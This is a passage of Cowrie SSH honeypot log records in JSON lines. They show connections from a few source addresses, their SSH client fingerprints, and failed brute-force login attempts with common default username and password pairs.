mac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:13.906922Z","src_ip":"91.92.40.36","session":"b6927606e71a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:14.016498Z","src_ip":"91.92.40.36","session":"a77862c8d726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":61664,"dst_ip":"10.17.0.5","dst_port":22,"session":"f085a4054743","protocol":"ssh","message":"New connection: 45.153.34.195:61664 (10.17.0.5:22) [session: f085a4054743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:14.773894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:14.778672Z","src_ip":"45.153.34.195","session":"f085a4054743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:14.880404Z","src_ip":"45.153.34.195","session":"f085a4054743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:15.133060Z","src_ip":"45.153.34.195","session":"f085a4054743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:16.010030Z","src_ip":"91.92.40.36","session":"9a223b48f3d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:16.218004Z","src_ip":"45.153.34.195","session":"f085a4054743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":61668,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9d4aec51ca9","protocol":"ssh","message":"New connection: 45.153.34.195:61668 (10.17.0.5:22) [session: f9d4aec51ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:17.736574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:17.740840Z","src_ip":"45.153.34.195","session":"f9d4aec51ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:17.831697Z","src_ip":"45.153.34.195","session":"f9d4aec51ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:18.086139Z","src_ip":"45.153.34.195","session":"f9d4aec51ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:18.490576Z","src_ip":"91.92.40.36","session":"b6927606e71a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":55686,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0beff3c7748","protocol":"ssh","message":"New connection: 101.36.122.139:55686 (10.17.0.5:22) [session: c0beff3c7748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:19.012233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:19.017807Z","src_ip":"101.36.122.139","session":"c0beff3c7748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:19.169555Z","src_ip":"45.153.34.195","session":"f9d4aec51ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:19.236695Z","src_ip":"101.36.122.139","session":"c0beff3c7748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:20.116797Z","src_ip":"91.92.40.36","session":"b6927606e71a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser321","message":"login attempt [myuser/myuser321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:20.146814Z","src_ip":"101.36.122.139","session":"c0beff3c7748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":61676,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dc0bba5a577","protocol":"ssh","message":"New connection: 45.153.34.195:61676 (10.17.0.5:22) [session: 0dc0bba5a577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:20.558051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:20.562595Z","src_ip":"45.153.34.195","session":"0dc0bba5a577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:20.643418Z","src_ip":"45.153.34.195","session":"0dc0bba5a577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"n8n","password":"n8n","message":"login attempt [n8n/n8n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:20.891787Z","src_ip":"45.153.34.195","session":"0dc0bba5a577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:21.368101Z","src_ip":"101.36.122.139","session":"c0beff3c7748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:21.976638Z","src_ip":"45.153.34.195","session":"0dc0bba5a577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41804,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f8730ae684","protocol":"ssh","message":"New connection: 91.92.40.36:41804 (10.17.0.5:22) [session: 60f8730ae684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:22.328411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:22.862044Z","src_ip":"91.92.40.36","session":"60f8730ae684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:22.865026Z","src_ip":"91.92.40.36","session":"60f8730ae684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29568,"dst_ip":"10.17.0.5","dst_port":22,"session":"10cdf27a9911","protocol":"ssh","message":"New connection: 45.153.34.195:29568 (10.17.0.5:22) [session: 10cdf27a9911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:23.403534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:23.459721Z","src_ip":"45.153.34.195","session":"10cdf27a9911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:23.554381Z","src_ip":"45.153.34.195","session":"10cdf27a9911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@#","message":"login attempt [root/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:24.023440Z","src_ip":"45.153.34.195","session":"10cdf27a9911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:25.112834Z","src_ip":"45.153.34.195","session":"10cdf27a9911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29580,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5b651ab23ce","protocol":"ssh","message":"New connection: 45.153.34.195:29580 (10.17.0.5:22) [session: a5b651ab23ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:26.241140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:26.258318Z","src_ip":"45.153.34.195","session":"a5b651ab23ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyrus","password":"cyrus","message":"login attempt [cyrus/cyrus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:26.376272Z","src_ip":"91.92.40.36","session":"60f8730ae684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:26.525989Z","src_ip":"45.153.34.195","session":"a5b651ab23ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:26.904871Z","src_ip":"45.153.34.195","session":"a5b651ab23ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:28.016419Z","src_ip":"45.153.34.195","session":"a5b651ab23ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:28.926610Z","src_ip":"91.92.40.36","session":"60f8730ae684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29582,"dst_ip":"10.17.0.5","dst_port":22,"session":"b499c80c1a0e","protocol":"ssh","message":"New connection: 45.153.34.195:29582 (10.17.0.5:22) [session: b499c80c1a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:29.319182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:29.332626Z","src_ip":"45.153.34.195","session":"b499c80c1a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:29.423330Z","src_ip":"45.153.34.195","session":"b499c80c1a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:29.957075Z","src_ip":"45.153.34.195","session":"b499c80c1a0e","protocol":"ssh"}
